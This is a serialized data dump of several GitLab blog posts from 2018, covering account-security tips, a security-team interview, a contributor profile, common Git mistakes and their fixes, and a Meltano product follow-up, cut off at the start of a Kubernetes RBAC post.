Workflow","en-us/blog/how-devops-and-gitlab-cicd-enhance-a-frontend-workflow.yml","en-us/blog/how-devops-and-gitlab-cicd-enhance-a-frontend-workflow",{"_path":32648,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32649,"content":32655,"config":32659,"_id":32661,"_type":16,"title":32662,"_source":17,"_file":32663,"_stem":32664,"_extension":20},"/en-us/blog/keeping-your-account-safe",{"title":32650,"description":32651,"ogTitle":32650,"ogDescription":32651,"noIndex":6,"ogImage":32652,"ogUrl":32653,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32653,"schema":32654},"How to keep your GitLab account safe (and accessible)","Some practical tips from the GitLab.com Support Team to make sure you can get into your account when (not if!) disaster strikes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666806/Blog/Hero%20Images/keep-gitlab-account-safe.jpg","https://about.gitlab.com/blog/keeping-your-account-safe","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to keep your GitLab account safe (and accessible)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lyle Kozloff\"}],\n        \"datePublished\": \"2018-08-09\",\n      }",{"title":32650,"description":32651,"authors":32656,"heroImage":32652,"date":32620,"body":32657,"category":299,"tags":32658},[5706],"\nThe GitLab.com Support Team has seen a lot of unfortunate situations where people have lost access to their accounts for _very_ preventable reasons. Here are some quick tips to keep your account secure and to ensure you're always able to log in.\n\n## 1. Use 2FA (and print your recovery codes)\n\nMore and more people are [setting up two-factor authentication (2FA)](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) to keep their\naccount secure, but things do happen to that second factor. Phones get lost or stolen, and suddenly you’re locked out of your account.\nPlease **do** set up 2FA, but also make sure you keep a backup of your recovery codes.\n\nIf you've got access to a printer: print them!\n\nMaybe even better? Store a copy of your recovery codes in a password manager so you won’t lose them.\n\n## 2. Set up an SSH key (so that you can generate new recovery codes)\n\nDid you know that you can [generate recovery codes with an SSH key](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html#generate-new-recovery-codes-using-ssh)? If you somehow lost your recovery codes, you can generate new ones by simply\nrunning `ssh git@gitlab.com 2fa_recovery_codes`. So, even if you don’t use SSH much, it might pay off to have a [key added to your GitLab account](https://docs.gitlab.com/ee/user/ssh.html).\n\n## 3. Add a backup email on your account\n\nMany of our users have vanity or company domains on their accounts. But, what happens if you leave\nthe company or forget to pay your domain registration? Suddenly you’re unable to receive password\nreset emails and are writing into Support from an unknown email address (it's difficult for the Support\nTeam to verify your identity if you contact us from a different email address).\n\nGo ahead and use a custom domain, but consider [having a backup email address](https://docs.gitlab.com/ee/user/profile/#profile-settings)\nfrom a well-known public provider.\n\n## 4. Use your real name on your account profile\n\nWhen we’re evaluating whether or not to restore an account or remove 2FA, it makes the call harder when the name on the\naccount is L33T H4X0R (unless, of course, that’s what is on your passport). We understand if you prefer not to include\nyour real name for privacy reasons, but do know that we may be unable to help you recover your accounts if all\nof the above have not been implemented. If your real name isn't an option, consider [adding other online identities to your profile](https://docs.gitlab.com/ee/user/profile/#profile-settings).\n\nHopefully these tips will help you secure and access your GitLab.com accounts. For the security and privacy of our users,\nthe Support Team is required to be very stringent when it comes to helping you recover your accounts. We hope that this\narticle will help you stay in control at all times!\n\nPhoto by [Jon Moore](https://unsplash.com/photos/bBavss4ZQcA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/security?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,674],{"slug":32660,"featured":6,"template":678},"keeping-your-account-safe","content:en-us:blog:keeping-your-account-safe.yml","Keeping Your Account Safe","en-us/blog/keeping-your-account-safe.yml","en-us/blog/keeping-your-account-safe",{"_path":32666,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32667,"content":32672,"config":32676,"_id":32678,"_type":16,"title":32679,"_source":17,"_file":32680,"_stem":32681,"_extension":20},"/en-us/blog/why-you-should-join-the-gitlab-security-team",{"title":32668,"description":32669,"ogTitle":32668,"ogDescription":32669,"noIndex":6,"ogImage":16590,"ogUrl":32670,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32670,"schema":32671},"Why you should join the GitLab security team","Meet Director of Security Kathy Wang for a look inside our remote (and growing!) security team.","https://about.gitlab.com/blog/why-you-should-join-the-gitlab-security-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why you should join the GitLab security team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2018-08-09\",\n      }",{"title":32668,"description":32669,"authors":32673,"heroImage":16590,"date":32620,"body":32674,"category":734,"tags":32675},[22017],"\nOur security team is small but mighty and looking to\n[add new team members](/jobs/)! I sat down with Director\nof Security [Kathy Wang](/company/team/#wangkathy), who built\nthe team from scratch. See our conversation below and get to know\nthe [rest of our security team](/company/team/), and read about\ntheir work in the [security handbook](/handbook/security/).\n\n#### Can you tell us a little about your previous experience and what you do at GitLab?\n\nI’m a career security practitioner and have been focusing on security for\nnearly 20 years. At GitLab, my team is responsible for securing all GitLab\nproducts and services, including the GitLab.com infrastructure.\n\n#### If I remember correctly, you started the security team from scratch – how has that experience been, and what are you excited about?\n\nIt is always exciting to build a security team from initial stages to maturity!\nI was the de facto CISO at a tech firm two jobs ago, where I built a security\nteam as well, and each time, it is a different experience. GitLab is a very\nunique company. I have never encountered a company quite as transparent as GitLab,\nand 100 percent of GitLab’s employees are remote. That presents its own set of\nsecurity challenges, but these are exciting challenges that my team is\nwell equipped to handle.\n\n#### In the grand scheme of things, security is a pretty new field, so what are some ways that people can get into security?\n\nSeasoned security professionals are in high demand, and there’s never been a\nbetter time to get into security! I’ve mentored a number of people looking to\nbecome security practitioners, and one of my first suggestions is to start\nattending local security meetups and events. Getting to know other security\npractitioners in your area and listening to their briefings will help you\nunderstand what types of problems security practitioners solve. Through\nnetworking at these events, you’ll discover who is hiring locally and at\nwhat level of expertise.\n\nWhen I was starting out in my security career, I attended local security events\nand meetups, and through those events, I met a number of open source developers.\nIt was fun to learn from them and contribute to those projects. In turn, their\nwork inspired me to start a couple of open source projects myself. As a result,\nI discovered that I’m pretty good at assessing gaps in current security capabilities\nand figuring out how to bridge those gaps – but not always in an obvious way.\nTo me, that’s one of the most exciting aspects of this role.\n\n#### What are some transferable skills that you see as good preparation for a role in security?\n\nSecurity practitioners come from quite a varied set of backgrounds. I’ve learned\nthrough working with many people over the years that critical thinking and\nproblem-solving skills are the most transferable. Information security is an\narms race, and continually thinking creatively to minimize security risks is\ntantamount to a successful security career.\n\n#### Tell us about the current security team – how big is it, and what are they currently working on?\n\nWe have a creative and talented security team at GitLab! Our standards are high,\nand we work hard here because we take securing our customers’ data very seriously.\nCurrently, we are a small team and will scale as the company grows. Our Security Vision,\nour hiring plan, and what our security team is focused on are outlined in\nour [security handbook](/handbook/security/#security-vision).\n\n#### Is the team able to make use of our new Security Dashboards feature and consult on improving the feature going forward?\n\nI’ve always believed that our security teams should regularly contribute to our\nproducts and services. At GitLab, the security team is at the forefront of\nproviding that expertise and experience to developers, because we are in the\nbest position to understand what security-minded customers would find actionable\nin security features.\n\nFor example, I recently built my own set of prototype security dashboards, so\nthat I could explain to engineering and marketing teams what \"actionable metrics\"\nmean to security professionals. The security team briefs all of GitLab on a\nbiweekly basis, and those metrics are used to demonstrate progress. You can build\nall the security dashboards and features that you want, but in the end, what\ncan we do with the data to raise the bar in security? After presenting these\nmetrics, I love that from top-down, everyone agreed to bake these improvements\ninto [GitLab’s future product roadmap](/direction/), so that our customers ultimately benefit as well.\n\n#### We have a ton of [security openings](/jobs/) right now – can you share a bit more about the security team's focus and scope moving forward, and what new team members can expect when they join?\n\nSince we are a small security team, we plan to grow the team to scale to the\ngrowth of the rest of GitLab, so that remains our focus for the foreseeable future.\nAs an all-remote company, we all work in different locations, and new team members\nshould expect to collaborate across teams and departments – not just within the\nsecurity team. It’s ironic, but when working entirely remotely, it’s even more\nimportant to over-communicate with everyone in order to obtain and deliver results.\n\n#### Do you have any tips for people applying to security roles at GitLab?\n\nWe are very interested in anyone passionate about security. It’s even better if\nyou have contributed to open source projects. We want to know that you will bring\nwith you a resolve to be constructive when working with others. At GitLab, everyone\ncontributes to making our firm secure; as such, our security team continually\neducates and guides our staff on secure practices in order to mitigate evolving threats.\n\n#### Anything else to share with folks interested in security and GitLab?\n\nAt GitLab, we value all contributions made by our staff in an open and transparent\nmanner. Our security team continues to make positive, measurable impact across\nthe company that can be easily translated to long-term customer value. We enjoy\nhealthy, transparent debates about secure practices, while quickly implementing\neffective solutions that empower us to make better data-driven decisions, long term.\n\nCover image by Felix Russell-Saw on [Unsplash](https://unsplash.com/)\n{: .note}\n",[674],{"slug":32677,"featured":6,"template":678},"why-you-should-join-the-gitlab-security-team","content:en-us:blog:why-you-should-join-the-gitlab-security-team.yml","Why You Should Join The Gitlab Security Team","en-us/blog/why-you-should-join-the-gitlab-security-team.yml","en-us/blog/why-you-should-join-the-gitlab-security-team",{"_path":32683,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32684,"content":32689,"config":32694,"_id":32696,"_type":16,"title":32697,"_source":17,"_file":32698,"_stem":32699,"_extension":20},"/en-us/blog/contributor-post-vitaliy",{"title":32685,"description":32686,"ogTitle":32685,"ogDescription":32686,"noIndex":6,"ogImage":26117,"ogUrl":32687,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32687,"schema":32688},"GitLab Code Contributor: Vitaliy Klachkov","Core Team member Vitaliy Klachkov shares how he started contributing to GitLab.","https://about.gitlab.com/blog/contributor-post-vitaliy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Code Contributor: Vitaliy Klachkov\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2018-08-08\",\n      }",{"title":32685,"description":32686,"authors":32690,"heroImage":26117,"date":32691,"body":32692,"category":813,"tags":32693},[21623],"2018-08-08","\nWelcome to our new blog series featuring code contributors from the GitLab community! This blog will highlight the wonderful contributions made by GitLab community members and will hopefully inspire others to contribute to GitLab. For the first blog post, we are happy to welcome [Vitaliy “blackst0ne” Klachkov](https://gitlab.com/blackst0ne), who has been chosen as a [release MVP](/community/mvp/) three times!\n\n### How long have you been contributing to GitLab?\n\nI've been contributing since August 2016.\n\n### Why and how did you decide to contribute to GitLab?\n\nI read a news article about a new GitLab release and I didn’t even know what GitLab was back then. There was also a discussion on an example of a Rails-based project with a good codebase, and people suggested taking a look at GitLab.\n\nI was intrigued and decided to take a closer look at GitLab. I actually found\nroom for improvement in the codebase so I started pushing a few merge requests (MRs). I received responses within 1-2 days and I was very impressed. With some of the other communities, I’m used to waiting weeks for feedback.\n\nSo, I kept submitting more merge requests and so far, I have 227 merged MRs. I’m proud that I’m one of the top 50 contributors among 2000+ GitLab [code contributors](http://contributors.gitlab.com/) that include GitLab employees.\n\n### Which areas of the GitLab product do you contribute to?\n\nMostly it has been backend changes, but many of my MRs touched the frontend as well. I spent my time bringing popular features (e.g. [squash and merge to CE](https://docs.gitlab.com/ee/user/project/merge_requests/squash_and_merge.html#doc-nav), [mermaid support](https://docs.gitlab.com/ee/user/markdown.html#mermaid), [switch markdown engine to CommonMark](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/14835), [customizable branch name from issues](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/13884), etc.), fixing technical debts (e.g. [migrate all spinach specs to rspec](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests?scope=all&utf8=%E2%9C%93&state=all&author_username=blackst0ne&label_name%5B%5D=technical%20debt&label_name%5B%5D=Quality&search=Spinach)), upgrading [GitLab to Rails 5.0](https://gitlab.com/groups/gitlab-org/-/merge_requests?scope=all&utf8=%E2%9C%93&state=all&author_username=blackst0ne&label_name%5B%5D=rails5), and many other improvements.\n\n### Can you tell us what you do professionally?\n\nI am a full-stack web developer at [GEOPHYSTECH LLC](https://geophystech.ru/). The company is focused on seismology, earthquakes, and everything related to earthquake hazards.\n\n### What do you like to do when you're not working?\n\nI’m a big fan of sports or anything that keeps my body moving, such as running, swimming, snowboarding, table tennis, volleyball, ice-blading, football, CrossFit workout, etc.\n\nI also enjoy [chess](https://lichess.org/), reading books/articles, and UX-related things. I’ve been collaborating with GitLab’s UX team.\n\n### What advice do you have for others who may be interested in contributing to GitLab?\n\nContributing to GitLab is easy. If you want the experience of being a part of a popular open source project, you are more than welcome to join the GitLab community! You can also ping me on [Twitter](https://twitter.com/blackst0ne) if you have any questions or need any help as you get started.\n\n### Do you have anything else you’d like to share?\n\nGitLab has some nice [swag](https://shop.gitlab.com/)! I’ve gotten some great ones for my release MVPs.\n\n## Interested in learning how you can contribute?\n\nA good place to start would be the [Contributing to GitLab page](/community/contribute/), where you can learn how you can contribute to GitLab code, documentation, and translation.\n\n_Note: This post is part of [a series featuring people who contribute to GitLab](/blog/tags.html#contributors)._\n",[267,2368,815,2704],{"slug":32695,"featured":6,"template":678},"contributor-post-vitaliy","content:en-us:blog:contributor-post-vitaliy.yml","Contributor Post Vitaliy","en-us/blog/contributor-post-vitaliy.yml","en-us/blog/contributor-post-vitaliy",{"_path":32701,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32702,"content":32708,"config":32712,"_id":32714,"_type":16,"title":32715,"_source":17,"_file":32716,"_stem":32717,"_extension":20},"/en-us/blog/git-happens",{"title":32703,"description":32704,"ogTitle":32703,"ogDescription":32704,"noIndex":6,"ogImage":32705,"ogUrl":32706,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32706,"schema":32707},"Git happens! 6 Common Git mistakes and how to fix them","Whether you added the wrong file, committed directly to master, or some other mishap, we've got you covered.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678743/Blog/Hero%20Images/fix-common-git-mistakes.jpg","https://about.gitlab.com/blog/git-happens","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git happens! 6 Common Git mistakes and how to fix them\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Beckham\"}],\n        \"datePublished\": \"2018-08-08\",\n      }",{"title":32703,"description":32704,"authors":32709,"heroImage":32705,"date":32691,"body":32710,"category":734,"tags":32711},[18556],"\nWe all make mistakes, especially when working with something as complex as Git. But remember, Git happens!\n\n## What is Git?\n\nGit is free and open-source software for distributed code management and version control. It is distributed under the GNU General Public License Version 2. Git tracks changes in any set of files and is usually used for coordinating work among programmers collaboratively developing source code during software development. \n\nGit was created and released in 2005 by Linus Torvalds, who also developed Linux. The impetus for Git (which is an altering of the word “get”) was to generate an open-source version control system that performed better for the requirements of Linux kernel development. Available open-source systems at the time were not able to meet the [large-scale collaborative performance effort](https://www.techtarget.com/searchitoperations/definition/Git) required.\n\n## Benefits of using Git\n\nBesides delivering superior performance, Git also provides support for a distributed workflow and safeguards against corruption. There are several other benefits, such as:\n\n- superior performance when it comes to version control systems\n- the ability for simultaneous development because everyone has their own local copy of code and can work on it in tandem. \n- faster releases\n- security\n- flexibility\n- built-in integration \n- strong community support\n\nIf you're brand-new to Git, you can learn [how to start using Git on the command line](https://docs.gitlab.com/ee/gitlab-basics/start-using-git.html). Here's how we can fix six of the most common Git mistakes.\n\n## 1. Oops... I spelled that last commit message wrong\n\nAfter a good few hours of [coding](/solutions/source-code-management/), it's easy for a spelling error to sneak into your commit messages.\nLuckily, there's a simple fix.\n\n```bash\ngit commit --amend\n```\n\nThis will open up your editor and allow you to make a change to that last commit message.\nNo one needs to know you spelled, \"addded\" with three \"d\"s.\n\n## 2. Oops... I forgot to add a file to that last commit\n\nAnother common Git pitfall is committing too early. You missed a file, forgot to save it, or\nneed to make a minor change for the last commit to make sense. `--amend` is your friend\nonce again.\n\nAdd that missed file then run that trusty command.\n\n```bash\ngit add missed-file.txt\ngit commit --amend\n```\n\nAt this point, you can either amend the commit message or just save it to keep it the same.\n\n## 3. Oops... I added a file I didn't want in the repo\n\nBut what if you do the exact opposite? What if you added a file that you didn't want to commit?\nA rogue ENV file, a build directory, a picture of your cat that you accidentally saved to the wrong folder?\nIt's all fixable.\n\nIf all you did was stage the file and you haven't committed it yet, it's as simple as resetting that staged file:\n\n```bash\ngit reset /assets/img/misty-and-pepper.jpg\n```\n\nIf you've gone as far as committing that change, you need to run an extra step before:\n\n```bash\ngit reset --soft HEAD~1\ngit reset /assets/img/misty-and-pepper.jpg\nrm /assets/img/misty-and-pepper.jpg\ngit commit\n```\n\nThis will undo the commit, remove the image, then add a new commit in its place.\n\n## 4. Oops... I committed all those changes to the master branch\n\nSo you're working on a new feature and in your haste, you forgot to open a new branch for it.\nYou've already committed a load of files and now them commits are all sitting on the master branch.\nLuckily, [GitLab can prevent you from pushing directly to master](/blog/keeping-your-code-protected/).\nSo we can roll back all these changes to a new branch with the following three commands:\n\n*Note: Make sure you commit or stash your changes first, or all will be lost!*\n\n```bash\ngit branch future-brunch\ngit reset HEAD~ --hard\ngit checkout future-brunch\n```\n\nThis creates a new branch, then rolls back the master branch to where it was before you made\n changes, before finally checking out your new branch with all your previous changes intact.\n\n## 5. Oops... I made a spelling mistake in my branch name\n\nThe keen-eyed among you will notice a slight spelling error in my last example. It's almost\n3:00 PM and I haven't had lunch yet, so in my hunger, I've named our new branch `future-brunch`.\nDelicious.\n\nWe rename this branch in a similar way to how we rename a file with the `mv` command: by\n moving it to a new location with the correct name.\n\n```bash\ngit branch -m future-brunch feature-branch\n```\n\nIf you've already pushed this branch, there are a couple of extra steps required. We need to\ndelete the old branch from the remote and push up the new one:\n\n```bash\ngit push origin --delete future-brunch\ngit push origin feature-branch\n```\n\n## 6. Oops... I did it again\n\nThis command is for when everything has gone wrong. When you've copy-pasted one too\nmany solutions from Stack Overflow and your repo is in a worse state than it was when you started.\nWe've all been there.\n\n`git reflog` shows you a list of all the things you've done.\nIt then allows you to use Git's magical time-traveling skills to go back to any point in the past.\nI should note, this is a last resort thing and should not be used lightly.\nTo get this list, type:\n\n```bash\ngit reflog\n```\n\nEvery step we took, every move we made, Git was watching us.\nRunning that on our project gives us this:\n\n```bash\n3ff8691 (HEAD -> feature-branch) HEAD@{0}: Branch: renamed refs/heads/future-brunch to refs/heads/feature-branch\n3ff8691 (HEAD -> feature-branch) HEAD@{2}: checkout: moving from master to future-brunch\n2b7e508 (master) HEAD@{3}: reset: moving to HEAD~\n3ff8691 (HEAD -> feature-branch) HEAD@{4}: commit: Adds the client logo\n2b7e508 (master) HEAD@{5}: reset: moving to HEAD~1\n37a632d HEAD@{6}: commit: Adds the client logo to the project\n2b7e508 (master) HEAD@{7}: reset: moving to HEAD\n2b7e508 (master) HEAD@{8}: commit (amend): Added contributing info to the site\ndfa27a2 HEAD@{9}: reset: moving to HEAD\ndfa27a2 HEAD@{10}: commit (amend): Added contributing info to the site\n700d0b5 HEAD@{11}: commit: Addded contributing info to the site\nefba795 HEAD@{12}: commit (initial): Initial commit\n```\n\nTake note of the left-most column, as this is the index.\nIf you want to go back to any point in the history, run the below command, replacing `{index}` with that reference, e.g. `dfa27a2`.\n\n```bash\ngit reset HEAD@{index}\n```\n\nSo there you have six ways to get out of the most common Gitfalls.\n\n## More common Git problems \n\nThere are a number of tips for fixing common git problems. For starters, here are a couple of common ones: to indicate the end of command options for command line utilities, try using the double dash (--). If you want to undo a change, use git reset.\n\n- If you have a commit that is only in your local repository, you can amend it with the git commit — amend command.\n- Sometimes, you might find yourself adding files that you didn’t mean to commit. Git rm will remove it from both your staging area, as well as your file system. However, if that’s not the solution you were looking for, make sure you only remove the staged version and add the file to your .gitignore so you don’t make the same mistake again. \n- To fix a typo in a commit message or to add a file, use: git - amend.\n- If you want to remove files from staging before committing, use [“git restore”](https://medium.com/@basitalkaff/common-git-problems-and-how-to-fix-them-878ef750a015) to reset the pointer back to the last commit ID.\n- If you have a change of heart and want to remove changes from a commit before pushing and reverting back, use “git reset \u003Cspecific commit ID we want to go back>.”\n- Faulty commits sometimes make their way into the central repository. When that happens, instead of creating additional revert commits, just apply the necessary changes and use the --no-commit/-n option.\nInstead of having to reinvent the wheel, use the reuse recorded resolution feature to fix repetitive merge conflicts. Add \"git config --global rerere.enabled true\" to your global config to enable it for all projects. \n\nIf you prefer, you can manually create the directory: \n\n.git/rr-cache to enable it for each project.\n\n## How to prevent problems with your git repository\n\nIt’s important to consider git repository security for web projects. Why? When you deploy a [web page from a git repository](https://www.techtarget.com/searchsecurity/answer/How-can-developers-avoid-a-Git-repository-security-risk), you could also make the directory and its contents accessible. This gives an attacker the ability to access the metadata from URLs such as https://example.org/git/config.\n\nIf a git repository is checked out using HTTP authentication where the username and password to access the repository are incorporated as part of the URL, that can create an especially unsafe situation. Because this information is stored in the .git/config file, an attacker has direct access to credentials for the repository.\n\nTo avoid these risks and improve the security of a git repository, developers should refrain from using direct git checkouts on web deployments. Instead, they should copy files to the web root directory without the .git directory metadata. Alternatively, access to the .git directory can be bypassed in the server configuration. It's also a good idea to avoid storing passwords and secret tokens right in repositories.\n\nSome suggestions to [stop git repositories from getting too big](https://stackoverflow.com/questions/58679210/how-to-stop-git-repositories-from-getting-too-big): avoid cluttering the repository with large numbers of files, don’t include binary or office files that require huge commits in the number of lines edited, and from time to time, use commands like\ngit reflog expire --all --expire=now git gc --prune=now --aggressive.\n\nHere is an approach for [fixing a corrupted git repository](https://stackoverflow.com/questions/18678853/how-can-i-fix-a-corrupted-git-repository).\n\n## Some common git commands\n\nThere are hundreds of git commands programmers can use to change and track projects. Some of the [more common ones](https://shortcut.com/blog/common-git-commands-that-you-should-memorize#:~:text=13%20common%20Git%20commands%20that%20you%20should%20consider,compare%20unstaged%20files%20before%20committing%20...%20More%20items) are:\n\n**Create a new repository for storing code/making changes:** \n\nA new project requires a repository where your code is stored and changes can be made.\nCommand:\n\ngit init\n\nOr change a current directory into a Git repo using:\n\ngit init \u003Cdirectory>\n\n**Configure local and global values:**\n\nCommand:\n\ngit config --global user.email \u003Cyour-email> or git config -\n\n**Use cloning to get source code from your remote repo**\n\nWhen working on an existing project, you can use the clone command to create a copy of your remote rep in GitLab and make changes without overwriting the master version.\n\nWhen this command is used, you will get access to a copy of the source code on your local machine and make changes to it without compromising the master.\n\nTo download your project, use this:\n\ngit clone \u003Crepo URL>\n\n**Create a local workspace:**\n\nWhen collaborating with other developers on a project, using branches lets you modify and reference copies of the same portions of source code and merge them at a later point. This avoids a situation where developers are making changes to the same code at the same time, creating errors and broken code/features.\n\n[To create a new local branch](https://shortcut.com/blog/common-git-commands-that-you-should-memorize#:~:text=13%20common%20Git%20commands%20that%20you%20should%20consider,compare%20unstaged%20files%20before%20committing%20...%20More%20items):\n\ngit branch \u003Cbranch-name>\n\nPush this local branch to the remote repo with the following:\n\ngit push -u \u003Cremote> \u003Cbranch name>\n\nView existing branches on the remote repo with the following:\n\ngit branch or git branch—list\n\nAnd delete a branch with:\n\ngit branch -d \u003Cbranch-name> \n\n**Switch branches, inspect files and commits:**\n\nWith git checkout, you can move between the master branch and your copies locally, and it can be used to inspect the file and [commit history](/blog/keeping-git-commit-history-clean/). You will start out with the local clone of your master branch by default. You’ll need to run the command to switch between branches to make changes to a different local branch. One thing to note: make sure that you commit or stash any in-progress changes before switching; otherwise, you could encounter errors.\n\nCommand:\n\ngit checkout \u003Cname of your branch>\n\nOr create a new branch and switch to it with one command:\n\ngit checkout -b \u003Cname-of-your-branch>\n\nHave some Git tips of your own? Let us know in the comments below, we'd love to hear them.\n\nPhoto by [Pawel Janiak](https://unsplash.com/photos/WtRuYJ2EPMA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/mistake?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1067],{"slug":32713,"featured":6,"template":678},"git-happens","content:en-us:blog:git-happens.yml","Git Happens","en-us/blog/git-happens.yml","en-us/blog/git-happens",{"_path":32719,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32720,"content":32726,"config":32731,"_id":32733,"_type":16,"title":32734,"_source":17,"_file":32735,"_stem":32736,"_extension":20},"/en-us/blog/meltano-follow-up",{"title":32721,"description":32722,"ogTitle":32721,"ogDescription":32722,"noIndex":6,"ogImage":32723,"ogUrl":32724,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32724,"schema":32725},"Thanks for all the feedback and interest in Meltano!","Last week we introduced Meltano, and we're so excited to be building our community and working with you on our MVP.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678909/Blog/Hero%20Images/thanks-for-all-the-feedback-and-interest-in-meltano.jpg","https://about.gitlab.com/blog/meltano-follow-up","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Thanks for all the feedback and interest in Meltano!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Schatz\"}],\n        \"datePublished\": \"2018-08-07\",\n      }",{"title":32721,"description":32722,"authors":32727,"heroImage":32723,"date":32728,"body":32729,"category":299,"tags":32730},[31897],"2018-08-07","\nWe recently wrote a [post introducing Meltano](/blog/hey-data-teams-we-are-working-on-a-tool-just-for-you/), an open source tool that will help data teams version control everything from raw data to visualization. We were blown away by the level of interest it received, including all sorts of comments on [Hacker News](https://news.ycombinator.com/item?id=17667399) that gave us a ton of feedback we’re excited to wrestle with and work towards. Special thanks to commenter [slap_shot](https://news.ycombinator.com/item?id=17668089), whose comments prompted us to hop on YouTube for a live conversation. We learned that in real life, slap_shot is a data and analytics engineer and founder named Brett, and you can watch our live chat here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/F8tEDq3K_pE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nBrett told us something we suspected after our own experience of assembling our analytics stack – that pretty much every data team he encounters is using a \"multitude of internal processes that are broken and cobbled together for data integration, or they're not comfortable with the pricing and sales process for some of these products.\"\n\nWhen we started researching tools for our team, the goal was to use only open source. Unfortunately, the best open source that we could find wasn't up to the task for us, and changing the code proved cumbersome due to licensing issues. We settled on Looker, a fantastic (but proprietary) solution for visualization, and began reluctantly building out other parts ourselves. Brett told us the idea of an open source version of Looker could be really promising – it's too expensive for many teams, including, to some extent, our own. We think it doesn't make sense to build a dashboard and not be able to share it with the whole team.\n\nSid shares, \"We spent months assembling our data pipeline... but all these choices were so hard, and I think there's room for a convention over configuration framework, where you type in your Salesforce API keys and you get the proper Salesforce graphs. We want to get as close as possible to that experience.\"\n\n### Issues and next steps\n\n*  The Meltano team is building a set of very common core extractors, including Salesforce, Marketo, Zendesk, etc. This way we can hopefully provide a few of the most important sources out of the box, and substantial initial value. Then, being an open source product, we hope others can contribute and increase the breadth of support.\n*  The data team is going to try to apply Meltano to a machine learning project, probably around predicting probability of winning a sales opportunity, so we can incorporate any requirements specific to ML.\n\n### Q&A\n\n#### Give me the short and sweet version – what does Meltano do?\n\n[Meltano helps](https://gitlab.com/meltano/meltano/#roadmap) companies consolidate, organize, and analyze their data to make better business decisions.\n\n#### Can the BI tool and integration library be used outside of GitLab?\n\nWe're not sure yet. For now, the integration part (which we call orchestration) is GitLab CI-based. We recently had the idea to have a frontend \"production mode,\" where you can at least see everything, and maybe we'll have a \"development mode\" where you can run different pipelines inside a Python Flask app.\n\n#### Embulk and Singer built the core foundation and they allow people to build their own integrations, do we envision similar model?\n\nYes. Right now we are prioritizing getting the architecture and tooling correct, to make it easy for us and others to build additional extractors.\n\n#### What's the vision for the monorepo and what are the benefits?\n\nWe consolidated all of the code for Meltano in a single project, to make it easier to develop and contribute to. We then provide two Meltano Docker images, similar to Jupyter notebook layering: a standard image which contains all of the default extractors and loaders, as well as a base image so users can customize it to contain only what they need. `meltano/analytics` is both a prototypical Meltano implementation and the repo for GitLab Analytics.\n\n#### Would I *have* to use Meltano for everything?\n\nNo! We know teams have different needs and preferences, so you would be able to pick and choose the features that you use.\n\n#### I'd like to see GitLab CI have a clean API for others to plug into. Do you see that happening?\n\nThe Data team is committed to using GitLab CI as our orchestration platform. [Airflow](https://airflow.apache.org/) is state of the art right now, but we think we can have similar or better features within CI. If appropriate, the Meltano team will contribute back to CI to make it better too. Some features we're excited about would be better statistics across jobs, sub-pipelines and directed acyclic graphs of jobs, and intelligent data backfill support.\n\n#### This sounds really ambitious, and there are a lot of companies in the data integration space.\n\nYou're completely right! But there isn't an open source tool that checks all these boxes. It might sound a bit ludicrous, but as Sid says, \"When I saw GitLab for the first time, it made sense that something you collaborate on is also something you contribute to... it makes sense to me that it's not an individual burden, it's a shared burden.\" We think that the shared nature of the problem will make for a great open source community, and without that community, this won't really get off the ground.\n\nPhoto by [Ludovic Toinel](https://unsplash.com/photos/nGwyaWKFRVI) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[676,815],{"slug":32732,"featured":6,"template":678},"meltano-follow-up","content:en-us:blog:meltano-follow-up.yml","Meltano Follow Up","en-us/blog/meltano-follow-up.yml","en-us/blog/meltano-follow-up",{"_path":32738,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32739,"content":32745,"config":32749,"_id":32751,"_type":16,"title":32752,"_source":17,"_file":32753,"_stem":32754,"_extension":20},"/en-us/blog/understanding-kubernestes-rbac",{"title":32740,"description":32741,"ogTitle":32740,"ogDescription":32741,"noIndex":6,"ogImage":32742,"ogUrl":32743,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32743,"schema":32744},"What you need to know about Kubernetes RBAC","Role-based access control is now default, and expected in most Kubernetes deployments. Here's the What, Why and How of 